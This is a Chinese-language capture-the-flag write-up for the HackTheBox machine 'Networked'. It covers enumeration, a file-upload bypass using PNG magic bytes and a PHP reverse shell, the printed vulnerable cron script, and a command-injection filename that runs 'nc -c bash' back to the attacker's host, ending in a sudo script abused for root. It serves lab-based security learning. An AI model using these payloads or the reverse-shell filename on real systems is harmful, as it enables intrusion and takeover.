Enumeration
nmap
网站更新之后有了一个引导模式,更利于学习了,之前看ippsec的视频,要不总是没有思路,现在出现的问题多了提示也更多了,还没有使用,一会用用再说
首先,第一个问题是"目标上正在运行哪个版本的 Apache?"
所以先使用nmap快速扫描一下端口,看看有什么发现,发现对外开放了22和80,然后扫描对应端口的详细信息
所以第一个问题就很好回答了,快速回答,然后拿到下一个题目"网络服务器上包含备份文件的目录的相对路径是什么?"
包含备份文件的目录?dirsearch扫描一下看看结果
dirsearch -u http://10.10.10.146
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/10.10.10.146/_23-09-12_07-13-32.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-09-12_07-13-32.log
Target: http://10.10.10.146/
[07:13:33] Starting:
[07:13:47] 403 - 213B - /.ht_wsr.txt
[07:13:47] 403 - 216B - /.htaccess.bak1
......
......
[07:17:07] 301 - 235B - /backup -> http://10.10.10.146/backup/
[07:17:08] 200 - 885B - /backup/
[07:17:13] 403 - 210B - /cgi-bin/
[07:17:39] 200 - 229B - /index.php
[07:17:39] 200 - 229B - /index.php/login/
[07:17:58] 200 - 1KB - /photos.php
[07:18:26] 200 - 169B - /upload.php
[07:18:26] 301 - 236B - /uploads -> http://10.10.10.146/uploads/
[07:18:26] 200 - 2B - /uploads/
看到扫描结果中就有这一题的答案
"阅读lib.php的源代码后,我们发现可以通过上传功能上传JPG、GIF、JPEG和其他一种扩展名。另一个扩展是什么?"
把backup.tar下载下来后,里面就有lib.php
Exploitation
file upload
但是在lib.php中并没有看到相关代码,而题目提示了上传,打开upload.php发现其中包含了lib.php,在其中也看到了另一种被允许的文件格式
第四个任务是"MIME 类型可防止网站上传功能上传实际上不是声明的文件类型的文件。魔术字节用于通过将字节附加到有效负载文件来绕过此问题。PNG 格式的前八个魔法字节是什么?(以 16 个十六进制字符的形式给出您的答案)"
这个答案可以直接去搜索现成的答案
既然提到了这个,说不定一会就会有其他用处,下一个"在 Linux 操作系统上,用户可以安排任务在所需的时间段运行。Linux 中默认的任务调度程序是什么?"
下一个问题已经到了linux系统里面了,看来该上传文件了,在/upload.php下看到一个简易的上传表单
所以按照刚才的提示,他应该是要检查png的mine magic number,先上传一张真的图片,上传成功后可以再photos.php中看到
可以上传文件,尝试上传一个反弹shell,使用16进制编辑器把文件打开,在shell前加上png的magic number,然后保存
在上传页面上传该文件,利用burpsuite修改文件名为shell.php.png,成功上传
上传成功后访问该图片连接,然后看到下面的话,看起来好像有点意思
在kali中开启监听,然后再次访问上传文件的链接,成功拿到apache的shell
Lateral Movement
可以看到在guly下有user.txt,但是我们没法打开,根据问题的提示,有可能guly的shell获取与cron有关
打开crontab.guly文件,发现在特定情况下,会执行check_attack.php文件
check_attack.php文件如下,脚本获取 /var/www/html/uploads 目录中的文件,然后运行lib.php ,getnameCheck函数检查文件名,如果不是有效的ip地址,会执行下面attack部分的代码,exec("nohup /bin/rm -f pathvalue > /dev/null 2>&1 &");代码会将其删除,但是如果拼接指令可以滥用
php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
在uploads目录下新建下面的文件,在kali中开启监听
bash
touch '; nc -c bash 10.10.14.5 1234'
; 会停止rm -f,然后执行后面的nc -e /bin/bash 10.10.14.5 1234,等待定时任务执行后即可获得shell
然后就能拿到user的flag
Privilege Escalation
根据题目的提示"What is the name of the script that guly can run as root without a password?"
获取一个简单的交互式shell后,直接使用sudo -l看看能干什么
打开changename.sh脚本,看起来是要输入一些东西,判断之后进行处理
运行该脚本,来来回回输入好几次后,发现在字符串后跟上/bin/bash就能得到root的shell